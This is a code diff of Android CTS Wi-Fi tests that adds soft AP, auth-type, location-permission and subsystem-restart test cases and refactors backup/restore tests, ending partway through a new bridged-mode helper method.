+++ b/tests/tests/wifi/src/android/net/wifi/cts/VirtualDeviceNotSupported.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/** Annotation for tests that don't pass on virtual devices (i.e. in presubmit). */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface VirtualDeviceNotSupported {}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
index ae2ad6f..1c30093 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
@@ -50,7 +50,6 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
 
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -254,6 +253,11 @@
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
+
+            // get soft ap configuration and set it back to update configuration to user
+            // configuration.
+            mWifiManager.setSoftApConfiguration(mWifiManager.getSoftApConfiguration());
+
             // Retrieve original soft ap config.
             origSoftApConfig = mWifiManager.getSoftApConfiguration();
 
@@ -261,8 +265,13 @@
             byte[] backupData = mWifiManager.retrieveSoftApBackupData();
 
             // Modify softap config and set it.
+            String origSsid = origSoftApConfig.getSsid();
+            char lastOrigSsidChar = origSsid.charAt(origSsid.length() - 1);
+            String updatedSsid = new StringBuilder(origSsid.substring(0, origSsid.length() - 1))
+                    .append((lastOrigSsidChar == 'a' || lastOrigSsidChar == 'A') ? 'b' : 'a')
+                    .toString();
             SoftApConfiguration modSoftApConfig = new SoftApConfiguration.Builder(origSoftApConfig)
-                    .setSsid(origSoftApConfig.getSsid() + "b")
+                    .setSsid(updatedSsid)
                     .build();
             mWifiManager.setSoftApConfiguration(modSoftApConfig);
             // Ensure that it does not match the orig softap config.
@@ -299,8 +308,8 @@
         configuration.SSID = "\"TestSsid1\"";
         configuration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
         configuration.wepKeys = new String[4];
-        configuration.wepKeys[0] = "\"WepAscii1\"";
-        configuration.wepKeys[1] = "\"WepAscii2\"";
+        configuration.wepKeys[0] = "\"WepAscii12345\"";
+        configuration.wepKeys[1] = "\"WepAs\"";
         configuration.wepKeys[2] = "45342312ab";
         configuration.wepKeys[3] = "45342312ab45342312ab34ac12";
         configuration.wepTxKeyIndex = 1;
@@ -426,6 +435,8 @@
                 .that(actual.getIpConfiguration()).isEqualTo(expected.getIpConfiguration());
         assertWithMessage("Network: " + actual.toString())
                 .that(actual.meteredOverride).isEqualTo(expected.meteredOverride);
+        assertWithMessage("Network: " + actual.toString())
+                .that(actual.getProfileKey()).isEqualTo(expected.getProfileKey());
     }
 
     private void testRestoreFromBackupData(
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiConfigurationTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiConfigurationTest.java
index 554e1ce..e9efd2a 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiConfigurationTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiConfigurationTest.java
@@ -16,13 +16,25 @@
 
 package android.net.wifi.cts;
 
-import java.util.List;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_EAP;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_EAP_SUITE_B;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE_192_BIT;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_OPEN;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_OWE;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_PSK;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_SAE;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_WAPI_CERT;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_WAPI_PSK;
 
 import android.content.Context;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
 import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
+
+import androidx.test.filters.SdkSuppress;
+
+import java.util.List;
 
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiConfigurationTest extends WifiJUnit3TestBase {
@@ -48,4 +60,74 @@
             }
         }
     }
+
+    // TODO(b/167575586): Wait for S SDK finalization to change minSdkVersion to
+    // Build.VERSION_CODES.S
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testGetAuthType() throws Exception {
+        WifiConfiguration configuration = new WifiConfiguration();
+
+        configuration.setSecurityParams(SECURITY_TYPE_PSK);
+        assertEquals(WifiConfiguration.KeyMgmt.WPA_PSK, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_SAE);
+        assertEquals(WifiConfiguration.KeyMgmt.SAE, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_WAPI_PSK);
+        assertEquals(WifiConfiguration.KeyMgmt.WAPI_PSK, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_OPEN);
+        assertEquals(WifiConfiguration.KeyMgmt.NONE, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_OWE);
+        assertEquals(WifiConfiguration.KeyMgmt.OWE, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_EAP);
+        assertEquals(WifiConfiguration.KeyMgmt.WPA_EAP, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
+        assertEquals(WifiConfiguration.KeyMgmt.WPA_EAP, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_EAP_SUITE_B);
+        assertEquals(WifiConfiguration.KeyMgmt.SUITE_B_192, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_EAP_WPA3_ENTERPRISE_192_BIT);
+        assertEquals(WifiConfiguration.KeyMgmt.SUITE_B_192, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_WAPI_CERT);
+        assertEquals(WifiConfiguration.KeyMgmt.WAPI_CERT, configuration.getAuthType());
+    }
+
+    // TODO(b/167575586): Wait for S SDK finalization to change minSdkVersion to
+    // Build.VERSION_CODES.S
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testGetAuthTypeFailurePsk8021X() throws Exception {
+        WifiConfiguration configuration = new WifiConfiguration();
+
+        configuration.setSecurityParams(SECURITY_TYPE_PSK);
+        configuration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.IEEE8021X);
+        try {
+            configuration.getAuthType();
+            fail("Expected IllegalStateException exception");
+        } catch(IllegalStateException e) {
+            // empty
+        }
+    }
+
+    // TODO(b/167575586): Wait for S SDK finalization to change minSdkVersion to
+    // Build.VERSION_CODES.S
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testGetAuthTypeFailure8021xEapSae() throws Exception {
+        WifiConfiguration configuration = new WifiConfiguration();
+
+        configuration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.IEEE8021X);
+        configuration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_EAP);
+        configuration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.SAE);
+        try {
+            configuration.getAuthType();
+            fail("Expected IllegalStateException exception");
+        } catch(IllegalStateException e) {
+            // empty
+        }
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java
index 643f42d..45f8132 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiInfoTest.java
@@ -28,14 +28,15 @@
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
 import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
+import android.telephony.SubscriptionManager;
+
+import androidx.core.os.BuildCompat;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.nio.charset.StandardCharsets;
-import java.util.concurrent.Callable;
 
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiInfoTest extends WifiJUnit3TestBase {
@@ -227,6 +228,13 @@
         assertThat(info1.getBSSID()).isEqualTo(TEST_BSSID);
         assertThat(info1.getRssi()).isEqualTo(TEST_RSSI);
         assertThat(info1.getNetworkId()).isEqualTo(TEST_NETWORK_ID);
+        if (BuildCompat.isAtLeastS()) {
+            assertThat(info1.getSubscriptionId())
+                    .isEqualTo(SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+            assertFalse(info1.isOemPaid());
+            assertFalse(info1.isOemPrivate());
+            assertFalse(info1.isCarrierMerged());
+        }
 
         WifiInfo info2 = builder
                 .setNetworkId(TEST_NETWORK_ID2)
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
index b92b17c..84a050f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
@@ -30,6 +30,7 @@
 import android.net.wifi.WifiManager;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
@@ -73,6 +74,10 @@
             WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusActivity";
     private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE =
             WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusService";
+    private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY =
+            WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusActivity";
+    private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE =
+            WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusService";
 
     private static final int DURATION_MS = 10_000;
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
@@ -221,6 +226,17 @@
                 WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE), status);
     }
 
+    private void retrieveTransportInfoFgActivityAndAssertStatusIs(boolean status)
+            throws Exception {
+        startFgActivityAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+                WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY), status);
+    }
+
+    private void retrieveTransportInfoBgServiceAndAssertStatusIs(boolean status) throws Exception {
+        startBgServiceAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+                WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE), status);
+    }
+
     @Test
     public void testScanTriggerNotAllowedForForegroundActivityWithNoLocationPermission()
             throws Exception {
@@ -318,4 +334,54 @@
                 WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
         retrieveConnectionInfoBgServiceAndAssertStatusIs(false);
     }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testTransportInfoRetrievalNotAllowedForForegroundActivityWithNoLocationPermission()
+            throws Exception {
+        retrieveTransportInfoFgActivityAndAssertStatusIs(false);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testTransportInfoRetrievalAllowedForForegroundActivityWithFineLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        retrieveTransportInfoFgActivityAndAssertStatusIs(true);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void
+    testTransportInfoRetrievalAllowedForBackgroundServiceWithBackgroundLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_BACKGROUND_LOCATION);
+        retrieveTransportInfoBgServiceAndAssertStatusIs(true);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void
+    testTransportInfoRetrievalNotAllowedForBackgroundServiceWithFineLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        retrieveTransportInfoBgServiceAndAssertStatusIs(false);
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 3c4d77c..0d7aee8 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -19,6 +19,10 @@
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
 import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
 import static android.net.wifi.WifiConfiguration.INVALID_NETWORK_ID;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_SOFTAP;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_WIFI_AWARE;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_WIFI_DIRECT;
+import static android.net.wifi.WifiScanner.WIFI_BAND_24_GHZ;
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -41,14 +45,17 @@
 import android.net.NetworkRequest;
 import android.net.TetheringManager;
 import android.net.Uri;
+import android.net.wifi.CoexUnsafeChannel;
 import android.net.wifi.ScanResult;
 import android.net.wifi.SoftApCapability;
 import android.net.wifi.SoftApConfiguration;
 import android.net.wifi.SoftApInfo;
 import android.net.wifi.WifiClient;
 import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
 import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.SubsystemRestartTrackingCallback;
 import android.net.wifi.WifiManager.WifiLock;
 import android.net.wifi.WifiNetworkConnectionStatistics;
 import android.net.wifi.WifiNetworkSuggestion;
@@ -58,6 +65,7 @@
 import android.net.wifi.hotspot2.ProvisioningCallback;
 import android.net.wifi.hotspot2.pps.Credential;
 import android.net.wifi.hotspot2.pps.HomeSp;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerExecutor;
 import android.os.HandlerThread;
@@ -69,18 +77,21 @@
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
 import android.text.TextUtils;
 import android.util.ArraySet;
 import android.util.Log;
+import android.util.SparseIntArray;
 
+import androidx.core.os.BuildCompat;
+import androidx.test.filters.SdkSuppress;
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.net.module.util.MacAddressUtils;
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
+import com.android.net.module.util.MacAddressUtils;
 
 import java.io.BufferedReader;
 import java.io.IOException;
@@ -92,6 +103,7 @@
 import java.net.URL;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -118,7 +130,9 @@
     private WifiLock mWifiLock;
     private static MySync mMySync;
     private List<ScanResult> mScanResults = null;
-    private NetworkInfo mNetworkInfo;
+    private NetworkInfo mNetworkInfo =
+            new NetworkInfo(ConnectivityManager.TYPE_WIFI, TelephonyManager.NETWORK_TYPE_UNKNOWN,
+                    "wifi", "unknown");
     private final Object mLock = new Object();
     private UiDevice mUiDevice;
     private boolean mWasVerboseLoggingEnabled;
@@ -167,6 +181,7 @@
     private static final String TYPE_WIFI_CONFIG = "application/x-wifi-config";
     private static final String TEST_PSK_CAP = "[RSN-PSK-CCMP]";
     private static final String TEST_BSSID = "00:01:02:03:04:05";
+    public static final String TEST_DOM_SUBJECT_MATCH = "domSubjectMatch";
 
     private IntentFilter mIntentFilter;
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
@@ -235,6 +250,25 @@
             mProvisioningComplete = true;
         }
     };
+    private int mSubsystemRestartStatus = 0; // 0: nada, 1: restarting, 2: restarted
+    private SubsystemRestartTrackingCallback mSubsystemRestartTrackingCallback =
+            new SubsystemRestartTrackingCallback() {
+                @Override
+                public void onSubsystemRestarting() {
+                    synchronized (mLock) {
+                        mSubsystemRestartStatus = 1;
+                        mLock.notify();
+                    }
+                }
+
+                @Override
+                public void onSubsystemRestarted() {
+                    synchronized (mLock) {
+                        mSubsystemRestartStatus = 2;
+                        mLock.notify();
+                    }
+                }
+            };
     private static final String TEST_SSID = "TEST SSID";
     private static final String TEST_FRIENDLY_NAME = "Friendly Name";
     private static final Map<String, String> TEST_FRIENDLY_NAMES =
@@ -488,6 +522,61 @@
     }
 
     /**
+     * Restart WiFi subsystem - verify that privileged call fails.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testRestartWifiSubsystemShouldFailNoPermission() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        try {
+            mWifiManager.restartWifiSubsystem("CTS triggered");
+            fail("The restartWifiSubsystem should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Restart WiFi subsystem and verify transition through states.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testRestartWifiSubsystem() throws Exception {
+        mSubsystemRestartStatus = 0; // 0: uninitialized
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            mWifiManager.registerSubsystemRestartTrackingCallback(mExecutor,
+                    mSubsystemRestartTrackingCallback);
+            synchronized (mLock) {
+                mWifiManager.restartWifiSubsystem("CTS triggered");
+                mLock.wait(TEST_WAIT_DURATION_MS);
+            }
+            assertEquals(mSubsystemRestartStatus, 1); // 1: restarting
+            waitForExpectedWifiState(false);
+            assertFalse(mWifiManager.isWifiEnabled());
+            synchronized (mLock) {
+                mLock.wait(TEST_WAIT_DURATION_MS);
+                assertEquals(mSubsystemRestartStatus, 2); // 2: restarted
+            }
+            waitForExpectedWifiState(true);
+            assertTrue(mWifiManager.isWifiEnabled());
+        } finally {
+            // cleanup
+            mWifiManager.unregisterSubsystemRestartTrackingCallback(
+                    mSubsystemRestartTrackingCallback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
      * test point of wifiManager properties:
      * 1.enable properties
      * 2.DhcpInfo properties
@@ -514,6 +603,7 @@
      * To run this test in cts-tradefed:
      * run cts --class android.net.wifi.cts.WifiManagerTest --method testWifiScanTimestamp
      */
+    @VirtualDeviceNotSupported
     public void testWifiScanTimestamp() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             Log.d(TAG, "Skipping test as WiFi is not supported");
@@ -627,16 +717,20 @@
         Object softApLock;
         int currentState;
         int currentFailureReason;
+        List<SoftApInfo> apInfoList = new ArrayList<>();
+        SoftApInfo apInfoOnSingleApMode;
+        Map<SoftApInfo, List<WifiClient>> apInfoClients = new HashMap<>();
         List<WifiClient> currentClientList;
-        SoftApInfo currentSoftApInfo;
         SoftApCapability currentSoftApCapability;
         MacAddress lastBlockedClientMacAddress;
         int lastBlockedClientReason;
         boolean onStateChangedCalled = false;
         boolean onSoftApCapabilityChangedCalled = false;
         boolean onConnectedClientCalled = false;
+        boolean onConnectedClientChangedWithInfoCalled = false;
         boolean onBlockedClientConnectingCalled = false;
         int onSoftapInfoChangedCalledCount = 0;
+        int onSoftapInfoChangedWithListCalledCount = 0;
 
         TestSoftApCallback(Object lock) {
             softApLock = lock;
@@ -654,12 +748,24 @@
             }
         }
 
+        public int getOnSoftApInfoChangedWithListCalledCount() {
+            synchronized(softApLock) {
+                return onSoftapInfoChangedWithListCalledCount;
+            }
+        }
+
         public boolean getOnSoftApCapabilityChangedCalled() {
             synchronized(softApLock) {
                 return onSoftApCapabilityChangedCalled;
             }
         }
 
+        public boolean getOnConnectedClientChangedWithInfoCalled() {
+            synchronized(softApLock) {
+                return onConnectedClientChangedWithInfoCalled;
+            }
+        }
+
         public boolean getOnConnectedClientCalled() {
             synchronized(softApLock) {
                 return onConnectedClientCalled;
@@ -686,13 +792,19 @@
 
         public List<WifiClient> getCurrentClientList() {
             synchronized(softApLock) {
-                return currentClientList;
+                return new ArrayList<>(currentClientList);
             }
         }
 
         public SoftApInfo getCurrentSoftApInfo() {
             synchronized(softApLock) {
-                return currentSoftApInfo;
+                return apInfoOnSingleApMode;
+            }
+        }
+
+        public List<SoftApInfo> getCurrentSoftApInfoList() {
+            synchronized(softApLock) {
+                return new ArrayList<>(apInfoList);
             }
         }
 
@@ -732,9 +844,25 @@
         }
 
         @Override
+        public void onConnectedClientsChanged(SoftApInfo info, List<WifiClient> clients) {
+            synchronized(softApLock) {
+                apInfoClients.put(info, clients);
+                onConnectedClientChangedWithInfoCalled = true;
+            }
+        }
+
+        @Override
+        public void onInfoChanged(List<SoftApInfo> infoList) {
+            synchronized(softApLock) {
+                apInfoList = new ArrayList<>(infoList);
+                onSoftapInfoChangedWithListCalledCount++;
+            }
+        }
+
+        @Override
         public void onInfoChanged(SoftApInfo softApInfo) {
             synchronized(softApLock) {
-                currentSoftApInfo = softApInfo;
+                apInfoOnSingleApMode = softApInfo;
                 onSoftapInfoChangedCalledCount++;
             }
         }
@@ -817,13 +945,14 @@
             assertNotNull(softApConfig);
             int securityType = softApConfig.getSecurityType();
             if (securityType == SoftApConfiguration.SECURITY_TYPE_OPEN
-                || securityType == SoftApConfiguration.SECURITY_TYPE_WPA2_PSK) {
-                // TODO: b/165504232, add WPA3_SAE_TRANSITION assert check
+                || securityType == SoftApConfiguration.SECURITY_TYPE_WPA2_PSK
+                || securityType == SoftApConfiguration.SECURITY_TYPE_WPA3_SAE_TRANSITION) {
                 assertNotNull(softApConfig.toWifiConfiguration());
-            } else if (securityType == SoftApConfiguration.SECURITY_TYPE_WPA3_SAE) {
+            } else {
                 assertNull(softApConfig.toWifiConfiguration());
             }
             if (!hasAutomotiveFeature()) {
+                // TODO: b/179557841 check the supported band to determine the assert band.
                 assertEquals(
                         SoftApConfiguration.BAND_2GHZ,
                         callback.reservation.getSoftApConfiguration().getBand());
@@ -987,18 +1116,28 @@
         if (!mWifiManager.isPortableHotspotSupported()) {
             return;
         }
-        SoftApConfiguration customConfig = new SoftApConfiguration.Builder()
-                .setBssid(TEST_MAC)
-                .setSsid(TEST_SSID_UNQUOTED)
-                .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
-                .build();
+
         TestExecutor executor = new TestExecutor();
         TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLock);
+        TestSoftApCallback capabilityCallback = new TestSoftApCallback(mLock);
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        boolean wifiEnabled = mWifiManager.isWifiEnabled();
         try {
             uiAutomation.adoptShellPermissionIdentity();
+            verifyRegisterSoftApCallback(executor, capabilityCallback);
+            SoftApConfiguration.Builder customConfigBuilder = new SoftApConfiguration.Builder()
+                    .setSsid(TEST_SSID_UNQUOTED)
+                    .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK);
 
-            boolean wifiEnabled = mWifiManager.isWifiEnabled();
+            boolean isSupportCustomizedMac = capabilityCallback.getCurrentSoftApCapability()
+                        .areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_MAC_ADDRESS_CUSTOMIZATION)
+                    && PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.S);
+            if (isSupportCustomizedMac) {
+                customConfigBuilder.setBssid(TEST_MAC);
+            }
+            SoftApConfiguration customConfig = customConfigBuilder.build();
+
             mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
             // now wait for callback
             Thread.sleep(TEST_WAIT_DURATION_MS);
@@ -1006,25 +1145,20 @@
             // Verify callback is run on the supplied executor
             assertFalse(callback.onStartedCalled);
             executor.runAll();
-            if (callback.onFailedCalled) {
-                // TODO: b/160752000, customize bssid might not support.
-                // Allow the specific error code.
-                assertEquals(callback.failureReason,
-                        WifiManager.SAP_START_FAILURE_UNSUPPORTED_CONFIGURATION);
-            } else {
-                assertTrue(callback.onStartedCalled);
+            assertTrue(callback.onStartedCalled);
 
-                assertNotNull(callback.reservation);
-                SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
-                assertNotNull(softApConfig);
+            assertNotNull(callback.reservation);
+            SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
+            assertNotNull(softApConfig);
+            if (isSupportCustomizedMac) {
                 assertEquals(TEST_MAC, softApConfig.getBssid());
-                assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
-                assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
-
-                // clean up
-                stopLocalOnlyHotspot(callback, wifiEnabled);
             }
+            assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
+            assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
         } finally {
+            // clean up
+            stopLocalOnlyHotspot(callback, wifiEnabled);
+            mWifiManager.unregisterSoftApCallback(capabilityCallback);
             uiAutomation.dropShellPermissionIdentity();
         }
     }
@@ -1045,10 +1179,10 @@
         TestExecutor executor = new TestExecutor();
         TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLock);
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        boolean wifiEnabled = mWifiManager.isWifiEnabled();
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
-            boolean wifiEnabled = mWifiManager.isWifiEnabled();
             mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
             // now wait for callback
             Thread.sleep(TEST_WAIT_DURATION_MS);
@@ -1063,10 +1197,9 @@
             assertNotNull(softApConfig);
             assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
             assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
-
+        } finally {
             // clean up
             stopLocalOnlyHotspot(callback, wifiEnabled);
-        } finally {
             uiAutomation.dropShellPermissionIdentity();
         }
     }
@@ -1568,6 +1701,16 @@
                 testSoftApConfig.getAllowedClientList());
         assertEquals(currentConfig.getBlockedClientList(),
                 testSoftApConfig.getBlockedClientList());
+        if (BuildCompat.isAtLeastS()) {
+            assertEquals(currentConfig.getMacRandomizationSetting(),
+                    testSoftApConfig.getMacRandomizationSetting());
+            assertEquals(currentConfig.getChannels().toString(),
+                    testSoftApConfig.getChannels().toString());
+            assertEquals(currentConfig.isBridgedModeOpportunisticShutdownEnabled(),
+                    testSoftApConfig.isBridgedModeOpportunisticShutdownEnabled());
+            assertEquals(currentConfig.isIeee80211axEnabled(),
+                    testSoftApConfig.isIeee80211axEnabled());
+        }
     }
 
     private void turnOffWifiAndTetheredHotspotIfEnabled() throws Exception {
@@ -1588,6 +1731,173 @@
         }
     }
 
+    private void verifyBridgedModeSoftApCallback(TestExecutor executor,
+            TestSoftApCallback callback, boolean shouldFallbackSingleApMode, boolean isEnabled)
+            throws Exception {
+            // Verify state and info callback value as expected
